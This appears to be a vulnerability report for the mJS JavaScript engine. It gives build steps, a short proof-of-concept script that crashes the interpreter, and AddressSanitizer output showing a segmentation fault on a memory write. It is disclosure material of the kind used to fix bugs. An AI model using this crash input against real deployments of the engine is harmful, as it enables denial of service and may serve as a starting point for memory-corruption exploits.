mjs
                                
                                 mjs copied to clipboard
                                
                                    mjs copied to clipboard
                            
                            
                            
                        SEGV (/usr/local/bin/mjs+0x5361e)
mJS revision
Commit: b1b6eac
Build platform
Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)
Build steps
vim Makefile
DOCKER_GCC=gcc
$(DOCKER_GCC) $(CFLAGS) $(TOP_MJS_SOURCES) $(TOP_COMMON_SOURCES) -o $(PROG)
# save the makefile then make
make
Test case
poc.js
function D(i) {
    [i]
}
function A() {
    return D.apply - 1;
}
function JSEtest(i) {
    return A(i, 1, 2, 3);
}
JSEtest(0.2)(0.2)
Execution steps & Output
$ ./mjs/build/mjs poc.js
ASAN:DEADLYSIGNAL
=================================================================
==76668==ERROR: AddressSanitizer: SEGV on unknown address 0x561aeef915ac (pc 0x561aeef9161f bp 0x0000000000a6 sp 0x7ffe3d8aa358 T0)
==76668==The signal is caused by a WRITE memory access.
    #0 0x561aeef9161e  (/usr/local/bin/mjs+0x5361e)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV (/usr/local/bin/mjs+0x5361e)
==76668==ABORTING